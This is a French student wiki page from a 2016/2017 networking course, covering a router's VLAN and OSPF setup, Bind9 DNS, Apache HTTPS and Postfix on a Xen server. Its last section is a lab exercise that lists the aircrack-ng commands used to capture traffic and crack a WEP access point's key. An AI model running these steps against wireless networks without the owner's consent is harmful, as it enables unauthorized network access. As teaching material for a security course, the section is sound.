TP sysres IMA2a5 2016/2017 G1 : Différence entre versions

Version actuelle datée du 2 décembre 2016 à 10:34

             \
              \
               \\
                \\
                 >\/7
             _.-(6'  \
            (=___._/` \
                 )  \ |
                /   / |
               /    > /
              j    < _\
          _.-' :      ``.
          \ r=._\        `.
         <`\\_  \         .`-.
          \ r-7  `-. ._  ' .  `\
           \`,      `-.`7  7)   )
            \/         \|  \'  / `-._
                       ||    .'
                        \\  (
   unic0rn.pw           >\  >
                     ,.-' >.'
                    <.'_.
                      <'

Sommaire

1 Plages d'IP
2 Configuration du routeur
3 Xen
4 Attaque du WiFi

Plages d'IP

  VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       
 --------------------------------------------------------------
 VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28
 VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28
 VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28
 VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28
 VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28
 VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28
 VLAN26   193.48.57.176/28  Xen

Routeur de Dimitri:

10.60.2?.1
193.48.57.190
192.168.222.9

Routeur de Nabil:

10.60.2?.2
193.48.57.189
192.168.222.10

Configuration du routeur

Version

Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:

Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release
Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)

Ports

Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.

interface GigabitEthernet0/0/0
 no ip address
 media-type sfp
 negotiation auto
 service instance 20 ethernet
  encapsulation dot1q 20
  rewrite ingress tag pop 1 symmetric
  bridge-domain 20
 !
 service instance 21 ethernet
  encapsulation dot1q 21
  rewrite ingress tag pop 1 symmetric
  bridge-domain 21
 !
 service instance 22 ethernet
  encapsulation dot1q 22
  rewrite ingress tag pop 1 symmetric
  bridge-domain 22
 !
 service instance 23 ethernet
  encapsulation dot1q 23
  rewrite ingress tag pop 1 symmetric
  bridge-domain 23
 !
 service instance 24 ethernet
  encapsulation dot1q 24
  rewrite ingress tag pop 1 symmetric
  bridge-domain 24
 !
 service instance 25 ethernet
  encapsulation dot1q 25
  rewrite ingress tag pop 1 symmetric
  bridge-domain 25
 !
 service instance 26 ethernet
  encapsulation dot1q 26
  rewrite ingress tag pop 1 symmetric
  bridge-domain 26
 !
 service instance 131 ethernet
  encapsulation dot1q 131
  rewrite ingress tag pop 1 symmetric
  bridge-domain 131
 !
!
interface GigabitEthernet0/0/1
 no ip address
 negotiation auto
 service instance 20 ethernet
  encapsulation dot1q 20
  rewrite ingress tag pop 1 symmetric
  bridge-domain 20
 !
 service instance 21 ethernet
  encapsulation dot1q 21
  rewrite ingress tag pop 1 symmetric
  bridge-domain 21
 !
 service instance 22 ethernet
  encapsulation dot1q 22
  rewrite ingress tag pop 1 symmetric
  bridge-domain 22
 !
 service instance 23 ethernet
  encapsulation dot1q 23
  rewrite ingress tag pop 1 symmetric
  bridge-domain 23
 !
 service instance 24 ethernet
  encapsulation dot1q 24
  rewrite ingress tag pop 1 symmetric
  bridge-domain 24
 !
 service instance 25 ethernet
  encapsulation dot1q 25
  rewrite ingress tag pop 1 symmetric
  bridge-domain 25
 !
 service instance 26 ethernet
  encapsulation dot1q 26
  rewrite ingress tag pop 1 symmetric
  bridge-domain 26
 !
 service instance 131 ethernet
  encapsulation dot1q 131
  rewrite ingress tag pop 1 symmetric
  bridge-domain 131
 !
!

Ils sont configurés pour utiliser les bridges-domains suivant:

interface BDI20
 ip address 10.60.20.1 255.255.255.240
!
interface BDI21
 ip address 10.60.21.1 255.255.255.240
!
interface BDI22
 ip address 10.60.22.1 255.255.255.240
!
interface BDI23
 ip address 10.60.23.1 255.255.255.240
!
interface BDI24
 ip address 10.60.24.1 255.255.255.240
!
interface BDI25
 ip address 10.60.25.1 255.255.255.240
!         
interface BDI26
 ip address 193.48.57.190 255.255.255.240
!
interface BDI131
 ip address 192.168.222.9 255.255.255.248
!

Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l'école.

OSPF

Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l'école (192.168.222.8).

router ospf 1
 router-id 10.60.20.1
 summary-address 10.60.20.0 255.255.255.0
 summary-address 10.60.21.0 255.255.255.0
 summary-address 10.60.22.0 255.255.255.0
 summary-address 10.60.23.0 255.255.255.0
 summary-address 10.60.24.0 255.255.255.0
 summary-address 10.60.25.0 255.255.255.0
 summary-address 10.60.26.0 255.255.255.0
 summary-address 193.48.57.176 255.255.255.240
 redistribute connected subnets
 redistribute static subnets route-map ospf
 network 192.168.222.8 0.0.0.7 area 2
!

Xen

Proxy

Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:

$ echo 'Acquire::http::Proxy "http://helfaut.escaut.net:3128";' > /etc/apt/apt.conf.d/01proxy

Apache2

$ apt-get install apache2

On peut ensuite accéder à [1] pour visualiser "Apache2 Debian Default Page...".

Bind9

Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.

$ apt-get install bind9

On commence par ajouter le DNS secondaire ns6.gandi.net:

$ cat /etc/bind/named.conf.options
    
...       
    allow-transfer { "allowed_to_transfer"; };
};
  
acl "allowed_to_transfer" {
  217.70.177.40/32 ;
};

Ensuite il faut définir notre nom de domaine comme une zone:

$ cat /etc/bind/named.conf.local
 
zone "unic0rn.pw" {
  type master;
  file "/etc/bind/unic0rn.pw";
};

Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:

# cat unic0rn.pw
 
$TTL 259200
 
@ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (
         10       ; Version
         7200             ; Refresh (2h)
         3600             ; Retry   (1h)
         1209600          ; Expire (14j)
         259200 )         ; Minimum TTL (3j)
  IN NS dns.unic0rn.pw.
  IN NS ns6.gandi.net.
  IN MX 100 dns.unic0rn.pw.
  IN A  193.48.57.182

www	IN A       193.48.57.182
dns	IN A       193.48.57.182

On peut alors vérifier que tout fonctionne:

# service bind9 restart
$ host unic0rn.pw
 
  Using domain server:
  Name: 127.0.0.1
  Address: 127.0.0.1#53
  Aliases: 
    
  unic0rn.pw has address 193.48.57.182
  unic0rn.pw mail is handled by 100 dns.unic0rn.pw.
 
$ curl unic0rn.pw | less
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                    Dload  Upload   Total   Spent    Left  Speed
  100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k
  <!DOCTYPE html>...

Sécurité

On a tenté du bruteforce sur mon login root SSH le soir même de l'installation de mon nom de domaine. Bien que l'on ne puisse pas se connecter en root via ma configuration, j'ai tout de même ajouté fail2ban:

# apt-get install fail2ban

HTTPS

Tout d'abord, il a fallu généré un certificat SSL. J'ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.

$ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr

Il faut alors coller la clé dans l'interface de Gandi afin d'obtenir notre certificat.

Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:

# a2enmod ssl

Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	 Listen 443
</IfModule>

Pour activer le certificat, j'ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien. Une fois notre certificat généré, il faut l'installer sur le serveur:

$ cp unic0rn.pw.crt /etc/ssl/certs/
$ cp monserveur.key /etc/ssl/private/unic0rn.pw.key
$ cp GandiStandardSSLCA2.pem /etc/ssl/certs/
$ c_rehash /etc/ssl/certs

Puis modifier la configuration d'apache2:

$ vim /etc/apache2/sites-enabled/000-default.conf

<VirtualHost *:443>
        ServerName www.unic0rn.pw
        ServerAlias unic0rn.pw
        DocumentRoot /var/www/html
        CustomLog /var/log/apache2/secure_access.log combined  

        SSLEngine on
        SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt
        SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key
        SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
        SSLVerifyClient None
</VirtualHost>

Et on peut ensuite accéder à https://unic0rn.pw ! On en profite pour forcer l'utilisation de HTTPS:

$ vim /var/www/html/.htaccess

RewriteEngine On
RewriteCond %{HTTPS} !on
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}

$ a2enmod rewrite
$ service apache2 restart

Serveur email

Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s'arranger pour recevoir les emails. On installe donc un serveur d'email:

# apt-get install postfix
# echo "admin: root" >> /etc/aliases

On envoie un email et on vérifie les emails:

# mail

DNSSEC

On génére le couple de clés KSK et ZSK:

$ cd /etc/bind
$ mkdir unic0rn.pw.dnssec ; cd unic0rn.pw.dnssec
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE unic0rn.pw
$ dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE unic0rn.pw

/dev/urandom n'est pas sécurisé comme générateur de chiffres aléatoires, il est préférable d'utiliser un générateur hardware.

On ajoute les clés générées dans le fichier de zone:

$ vim /etc/bind/unic0rn.pw

$include /etc/bind/unic0rn.pw.dnssec/unic0rn.pw-ksk.key
$include /etc/bind/unic0rn.pw.dnssec/unic0rn.pw-zsk.key

On signe ensuite le fichier de zone (cela va générer unic0rn.pw.signed):

$ dnssec-signzone -o unic0rn.pw -k unic0rn.pw-ksk ../unic0rn.pw unic0rn.pw-zsk

Et on indique au serveur que l'on va utiliser dnssec:

$ vim named.conf.options

dnssec-enable yes;

$ vim named.conf.local

zone "unic0rn.pw" {
  type master;
  file "/etc/bind/unic0rn.pw.signed";
};

$ service bind9 restart

La fonctionnalité DNSSEC n'étant pas supporté sur les domaines .PW, notre implémentation s’arrêtera ici.

Attaque du WiFi

On commence par activer le mode promicious de la carte wifi:

# airmon-ng start wlan0mon

On liste les points d'accès pour trouver une cible:

# airodump-ng --encrypt wep wlan0mon

J'ai décidé ici d'attaquer "cracotte01" (canal 10) qui est un point d'accès configuré en WEP. On commence donc par récupérer les paquets transitants par ce point d'accès:

# airodump-ng -w out -c 10 -essid cracotte01 wlan0mon

Heureusement pour nous, quelqu'un est déjà connecté dessus et génére beaucoup de paquets. On arrive rapidement à 200.000 paquets et on peut donc lancer le crack de la clé WEP:

# aircrack-ng out-01.pcap

 KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4 ]